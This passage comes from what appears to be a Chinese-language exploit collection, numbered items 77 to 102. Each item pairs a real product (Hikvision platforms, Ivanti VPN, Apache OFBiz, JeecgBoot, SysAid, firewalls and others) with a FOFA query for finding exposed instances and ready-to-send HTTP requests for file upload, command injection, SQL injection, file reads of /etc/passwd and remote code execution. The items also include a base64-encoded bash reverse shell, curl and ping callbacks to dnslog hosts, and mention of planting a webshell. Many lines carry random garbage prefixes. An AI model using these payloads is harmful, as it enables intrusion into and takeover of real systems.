- u" V3 S5 x3 Y6 m- x+ Q- b6 j, C8 r" s  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

3 L% |% t' i; D: ]
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
, e. m. V" c" n* `9 K0 z

* p+ w8 F2 x. T) G/ p8 ~. E/ O
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
2 \4 f- m5 v  _9 l' ~0 Q' i; EFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
2 m$ y- W' G+ I+ O7 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 H( Q4 `0 G- \Connection: close
' F) k; k: ^3 Q8 x; }2 xContent-Length: 433
2 O, W* Q) ^  gAccept: */*
. u, G5 ~  q) @! K2 w0 s8 i, A9 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ ^/ j0 h, ~$ R% t4 e0 BContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
! _8 D9 h4 E' J: E2 `
3 Y8 P) \! r( r6 a( M, K( ^3 T# m------------398jnjVTTlDVXHlE7yYnfwBoix
1 D2 W* b4 T# J3 h; f. z- `+ sContent-Disposition: form-data; name="folder"

1 m2 X% j' S" ~' E% D4 _/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
. q( J, ]+ j3 i  OContent-Type: application/octet-stream
8 U$ V; s, ^8 T1 P3 [) G2 {
* X7 q. }' ?4 P- Shello1234567
( ~: S$ Y* x! v* t------------398jnjVTTlDVXHlE7yYnfwBoix
7 V" k" x# c% UContent-Disposition: form-data; name="Upload"

; u, ^* B/ \) J6 RSubmit Query
5 n, g: `* n& ?# `2 N2 w, }------------398jnjVTTlDVXHlE7yYnfwBoix--

* V6 M+ ]  A" \6 S6 ]
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
+ c9 U9 U( I6 u+ {. @! C' ^POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 @) F4 z2 m0 qConnection: close
Content-Length: 336
Accept-Encoding: gzip
1 y  T9 [' j9 vContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
- h% C8 m" [  o. W, t& A: m  ~
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
  `( M; ?$ Q! g( N. o9 TContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
3 q3 F  E( K( ~' h; j# x2 n' Y' V
3 o7 D* L" l; }3 }/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

  e& O$ T0 @' O/ p% ?
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
- }5 k1 c, u) C6 DHost: x.x.x.x
) [7 s5 j; n. P4 N

, X4 E  [$ \& c6 S' V* U79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
9 F# \$ s* J7 U; y9 ?8 G0 jHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& r* {) {% Q8 z  S! }$ V) v8 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( e1 ?' M; u: b7 GConnection: close
* L. H7 ?* Y3 v8 M; _( nUpgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
8 |( x5 Y! O/ {$ H3 D3 G) [" oFOFA：app="速达软件-公司产品"
# C& |9 T/ v7 \& q- [0 H% gPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 W- `% p' E6 y( L( V4 L5 hContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& G9 W$ g+ d2 ?Accept-Encoding: gzip, deflate
- L, H' \* Q- ?) {( c' uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- c+ P9 n& p3 k# k7 P# ~Connection: close
Content-Type: application/octet-stream
+ z: k  m* {+ a9 j9 i8 }% O$ xUpgrade-Insecure-Requests: 1
7 r7 r* i9 c4 }
<% out.print("oessqeonylzaf");%>
1 a3 N( v, @. V; J- B

GET /xykqmfxpoas.jsp HTTP/1.1
% F& I3 M( J' @7 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 U1 |/ T$ m2 b( w3 [+ ~* FAccept-Encoding: gzip

5 m. {* {6 P: q# j+ @; Y  c# G
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 q( Q+ @' s, p/ bConnection: close
Accept-Encoding: gzip
! y2 S& x5 \. I2 W  Y- _. v  k0 `
1 D4 m6 M! E  Q% @' N% }. l; w5 C
1 J! u5 K' x% a; H% Z/ H6 ]: R( {82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
5 D6 |; ]$ f! ], Q/ W1 l: JFOFA：app="思福迪-LOGBASE"
4 M" S. U# ^, F! r" o1 w2 |8 B. OPOST /bhost/test_qrcode_b HTTP/1.1
& |! r& }. U! w0 a" w8 J7 {; ?1 kHost: BaseURL
$ s) q( L6 {4 e! r5 ^1 T# eUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
" X' D  R, ?  [
z1=1&z2="|id;"&z3=bhost
0 Z4 O- P! \5 d5 c( \
! c& ?6 ?* R1 m
83. JeecgBoot testConnection 远程命令执行
( ^9 Q) s- e1 I* ?* u' U3 UFOFA：title=="JeecgBoot 企业级低代码平台"
7 @$ s8 x  A/ F$ f

POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
. ?; k; a& ~: _, j" x1 y5 _4 T& SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
/ ~) N/ P) u3 h9 GAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
( H( Y0 N8 o. U" OContent-Type: application/json
) }5 p' n) b, Z, y) b/ X$ F
PAYLOAD
2 B, ~8 F0 M  i( U/ }
7 M, u" `3 G+ }3 z( }( z: q84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ c. d6 F# {; K3 WFOFA：title=="JeecgBoot 企业级低代码平台"
$ t0 s2 }# `1 q6 I  |" k, X
* s; K9 o- P% `1 v% P- K; w, D8 x

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
, l7 I4 |4 x$ a/ P3 h! q' TUser-Agent: curl/7.88.1
Content-Length: 156
' f% X8 t5 B) {Accept: */*
! f- N: k+ j" S2 A9 z0 JConnection: close
Content-Type: application/json
Accept-Encoding: gzip
; _/ d% n* F1 A' Z2 {
8 P/ M- {6 w. J5 a* Y) d& v+ J8 c{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
7 v5 o# N: _5 y+ H  ?, ^5 @  "type": "0"
}
; ~3 I, O- K7 C4 L( i6 K( p

7 @, I( \1 V; _* K5 g9 A* L; [85. SysAid On-premise< 23.3.36远程代码执行
* s* N4 u3 ^" ^# T- m- t3 HCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
! W6 f, ~, K0 n, vHost: x.x.x.x
# J, k; \; f9 P& ]- B- }" HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
7 W& m) r7 t/ p, p9 g" r
3 T" R6 H! W9 t- I5 }* B7 ]PAYLOAD
( M+ a, ~+ n! H2 t
回显URL：http://x.x.x.x/userfiles/index.jsp

  @" r1 \, s3 j86. 日本tosei自助洗衣机RCE
9 w2 y8 p$ @6 ~& `FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
7 N+ y' E# @# y9 o# [Host: x.x.x.x
) L. h, k. w9 V9 h# ]' z' W2 T, E! ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
, X( T7 F) h' QConnection: close
Content-Length: 44
3 F& h  m& K' _& d% B" s  |0 QAccept: */*
Accept-Encoding: gzip
* U* r# \. M7 N  X' ZAccept-Language: en
Content-Type: application/x-www-form-urlencoded
: ^( N' d' M7 p$ \
) n. q: y' A7 r8 ohost=%0acat${IFS}/etc/passwd%0a&command=ping

: t, s2 Z( J( Y7 z
  S# \( u: m% \& _87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
4 e- P. q- I+ `/ bHost: X.X.X.X
8 s: U) n  J# JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
9 {8 m) l, y  GContent-Length: 198
0 ]9 _, R5 A; v% g7 H2 sAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

6 q8 h9 b# ?( ?9 P. H2 m--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

$ A" D$ R( ?0 I5 R' s( [5 r2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
( s" _. R2 W' B0 d' aGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
9 h  K$ i, X. A: a( j/ ~2 qHost: x.x.x.xx.x.x.x
3 }' X$ }2 M3 p2 H  JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
" r3 N& A& w4 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 [9 S" D& ?. j" kConnection: close

! \. S" h$ ~3 w  C
& z, A/ O1 @" ^4 R0 }( H/astdfkhl.php
% a  d6 b, G8 ?
89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 V# c( Z) [  Y: U" k0 c5 @4 {7 u0 ?FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
5 F% y5 _) p& X7 ^9 s% m5 ]* [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 t' N5 Q& H. s/ Y8 HConnection: close
4 q  ?! c. P( l) ^% |2 O, {Content-Length: 41
( d6 o/ ]& e; B7 kContent-Type: application/x-www-form-urlencoded
+ `! k. ^: B& F* y( vAccept-Encoding: gzip

; b0 {" Z% R8 M, i7 Poption=2&GUID=-1'+union+select+111*222--+
" z4 l4 c" X( k* {. c2 n$ V

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
! W* y( |- @8 n% v7 u5 {& X' [Host: x.x.x.x
' g. R7 j- S' ?# w  T! K0 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
+ |# }5 D" w* @" C  I+ D, qAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
/ e4 f* k8 o) K; p9 f: l# j+ SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 M" t1 O3 X, `3 p( c* }Connection: close
Content-Type: application/x-www-form-urlencoded
+ w" X: g0 {9 m$ t$ A; ZX-Requested-With: XMLHttpRequest
* o. g6 a; f* h! O
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
& ^  L! E0 D; U

91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; Y2 s& b) Q3 x* v; c! _* |FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
3 F2 \5 U" K6 ]0 XHost: your-ip
4 j' [" E) K; C2 k3 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1 k- c" Y2 P+ x) m9 ^. v+ N# ?Accept-Encoding: gzip, deflate
1 R3 a9 r. g  m0 ^& UAccept: */*
Connection: keep-alive


: O& J0 A; b6 J5 }, x. R/ B  J
' g6 I: C/ a1 c; r( q7 z92. 海康威视运行管理中心session命令执行
! E2 T: D+ r: \# FFastjson命令执行
9 }! L" y0 ~2 h5 R$ }; i( S1 e- Ehunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
/ v( T$ p6 z  U7 }Accept: application/json, text/plain, */*
& L2 Y, q: |1 O0 }Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
; o0 {8 Q0 v0 k5 `0 o( U% QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 ^, j& C* P' N2 cAccept-Language: zh-CN,zh;q=0.9
0 y  A9 l5 [# L4 E: M' |Content-Length: 5778

) F. H$ {& I  m5 APAYLOAD
" ~3 p9 r. y6 _
, P5 Z/ @( p( O4 Y  X
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
8 ?# f3 v5 H: s$ Z4 M9 DFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
5 F' p5 t; B: y0 O& J8 iHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
/ O  g4 S1 z& Z/ ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- |4 G8 O7 W8 j7 ]" A
------WebKitFormBoundarykcbkgdfx
$ t% J3 O; h0 pContent-Disposition: form-data; name="MAX_FILE_SIZE"

: a- G  q! g6 j4 j# E10000000
1 n7 ]9 M$ X: c- u------WebKitFormBoundarykcbkgdfx
# A$ `2 {0 i6 k, |% \Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
+ I- Q  a  A, W+ W% L: T. f( [3 DContent-Type: text/plain

) ^' Q# N. i' h, L' Hwagletqrkwrddkthtulxsqrphulnknxa
1 J; |: d: c8 x7 l% w7 T------WebKitFormBoundarykcbkgdfx
4 _7 a  {3 u4 P6 S7 cContent-Disposition: form-data; name="submit_post"

. X4 I$ A0 b- h5 J! b# M) T2 [8 Mobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
3 h) a' w" r/ }
4 U# Q- a" K6 g0b9d6b1ab7479ab69d9f71b05e0e9445
9 I/ T0 E1 y* n! c------WebKitFormBoundarykcbkgdfx--


) o' ~! I4 w# N0 m+ f3 WGET /attachements/xlskxknxa.txt HTTP/1.1
: V0 S/ z2 J2 Q! N. H: pHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- ~% I! _& l: F# w/ ^2 s
# {- {7 X9 t6 F- ]" G( m
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
% h+ F5 V/ p$ R% f/ GFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
6 ~% f3 J' J9 l& q. W/ k& XPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
' i" i, a5 U$ T7 d1 Y6 pContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

" K' ~3 q9 h7 a' Q- Z. C------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

/ j$ r# D& h  t' L$ I5 d10000000
9 g" w& P$ N3 N$ v$ p8 ~, e------WebKitFormBoundarybqvzqvmt
: p( J: t4 J0 u5 j# t. A; q" h! UContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

5 ^% Q, [* }  ?3 p" k, A; y+ q4 hpxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
- y9 X' B6 z4 k1 z* {* u. `Content-Disposition: form-data; name="submit_post"
0 \* \8 g3 P! E2 P. a
  q( `) C- M" n! O( C5 z; qobj_app_upfile
------WebKitFormBoundarybqvzqvmt
2 C) J1 v' M, K7 W1 MContent-Disposition: form-data; name="__hash__"

  i5 x: \2 O" n3 Q8 W3 x, Z0b9d6b1ab7479ab69d9f71b05e0e9445
- D, e2 o* q# w8 Z------WebKitFormBoundarybqvzqvmt--
4 {9 \- ~: i- G' a4 p5 F
" y) Z3 M# z3 `; j1 _5 \) i" b

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
& P3 e& F- q+ A- E6 m& N' S9 r5 mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

% B3 Q+ }7 _: C! A( q

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
+ F4 q( e9 Q/ E  ?9 N6 m' z8 p" `CVE-2023-49070
, _/ s# H' E/ }) a  mFOFA：app="Apache_OFBiz"
) Z0 w8 x. ^* h. ^  bPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
0 H6 K! n7 ^' [+ w3 ^1 ]. U9 u0 JConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
+ y  s/ r1 @1 f, z  B' ~# l<methodCall>
' |" `# x& a. s4 o1 x: ?   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
% P! ?  A4 T& c      <param>
      <value>
- o! n& T' I! [/ E8 n, x        <struct>
9 @" }+ G  Z" d% E+ p, Q8 }" s       <member>
# K1 x/ a( G7 X; E8 v/ L          <name>test</name>
3 O+ W# o3 }9 o8 \  u! _5 k9 o          <value>
6 b( P3 U! I; ^3 f0 K4 [      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
( J4 |: R' {5 i( [9 O+ N( x: D! z  H          </value>
        </member>
      </struct>
& w' e( D; w4 B6 v      </value>
    </param>
    </params>
0 B3 N+ A2 }( G. u</methodCall>

8 G8 B: E2 H6 V' o: h# [: o
2 r/ O0 n& ^& N( D! \5 J+ J3 }) J# p5 `用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
! D+ H9 f! C9 A! V  _: \+ g

将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
2 ?0 w' j* f$ `* sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
6 G3 q8 L" J' `Content-Type: application/xml
: X9 c; Q2 U7 P# aAccept-Encoding: gzip
0 Z- e5 Q3 }, [0 h- P6 h$ l
* U. |: d" {8 u) U! I/ r/ F; XPAYLOAD
% }7 ?! Z! }0 R6 i6 {9 x
% t$ J$ B+ _: v+ [+ z0 q2 m96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
2 H  @- k4 T- b' [2 ]# O8 |6 XPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
) n  Q) a+ z% i' J2 F" C$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, ?5 Y8 `% H* \+ k" `" a3 T% `Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 a# F) S8 H; n$ H$ pContent-Type: application/x-www-form-urlencoded
. d8 K9 r2 x# Z$ [3 i/ [6 A# \2 A& H% mContent-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


' z" `  c4 m' I! h" d# X反弹shell
在kali上启动一个监听
% K8 s% n# u) v# Nnc -lvp 7777
5 a" D) H7 [/ w; G& H
( t( v, L8 n8 v5 H2 l  s* N- T8 pPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 ]5 @6 r" k9 j* Y& m7 fAccept: */*
& d5 S! F" y/ R0 C5 r' p- @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% E* x0 D$ v" Z( m% p) w! mContent-Type: application/x-www-form-urlencoded
Content-Length: 71

9 @2 k  h6 Z8 n. V. hgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
+ m1 b1 b+ o( |
* g- ?, i7 `: Y/ J  \' I: K97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
* a8 m# B% C- B; eHost: 192.168.40.130:8085
% Y9 W' T: [/ I- e9 G0 NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
5 q7 o$ B* b' }# b- XCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

" K+ h; s9 @3 [
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
1 L3 \" O+ P9 k4 n6 l! ?! sPOST /function/save HTTP/1.1
0 [0 }; J" I# }: t; R: v1 z4 D$ gHost: 192.168.40.130:8088
5 d+ G; Z& s% V! C# RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
0 w0 ~! \' H) ^& d2 W- ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( u1 ~$ d, A% m  g  U% wContent-Type: application/x-www-form-urlencoded; charset=UTF-8
& H' H: O7 `9 u  fX-Requested-With: XMLHttpRequest

0 Y8 w: u8 i- ]id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

! W; k: i  R( U( b
! k! g- v) h! V, U99. Ncast盈可视高清智能录播系统busiFacade RCE
5 I4 r4 V; J; `+ w6 A+ CCVE-2024-0305
2 |+ x- `' b2 C0 Z5 @& f% E9 C+ c: ^FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
6 \' K( k$ i: _8 \; E8 u5 ^, o4 nHost: 192.168.40.130:8080
5 ^+ B+ L' I$ d, w# K7 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, k- Q9 o0 Q5 \* [% FConnection: close
- O/ N( ^1 }3 tContent-Length: 154
  w" k5 O/ t6 Z/ @7 ]2 b# fAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
+ b. C, e; |! Q+ ?$ Q$ |3 E
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

) m$ `+ [/ x( U% _# Q
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
- v& d1 N' I+ e, Q$ n( qCVE-2024-0352
FOFA：icon_hash="874152924"
$ a& i8 }, K# c# l0 D+ KPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
  F- i$ `/ h$ j. r7 zUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
) Q8 e% h: s( I, T$ rConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
# J2 l  C! K# r" i" DAccept-Encoding: gzip
* d' S. Q" p# }/ ?  t" {
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
# V; x( S! P7 fContent-Type: application/x-php
$ r. u9 N" Q3 D( [) L
2ayyhRXiAsKXL8olvF5s4qqyI2O
& j5 c- b- F% s! h6 r8 \9 D. m------WebKitFormBoundarygcflwtei--


9 l$ F( f5 o  _2 @1 \101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 L. i( R' l6 S  M; i1 A. NConnection: close
& r! u: @" J* U0 _* h- C3 IAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
, o, u  @1 K" ?: p7 I# p2 v* ]FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
( n9 B+ H3 m; O% W- B2 X& ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
# G5 E* B+ u+ xContent-Length: 792
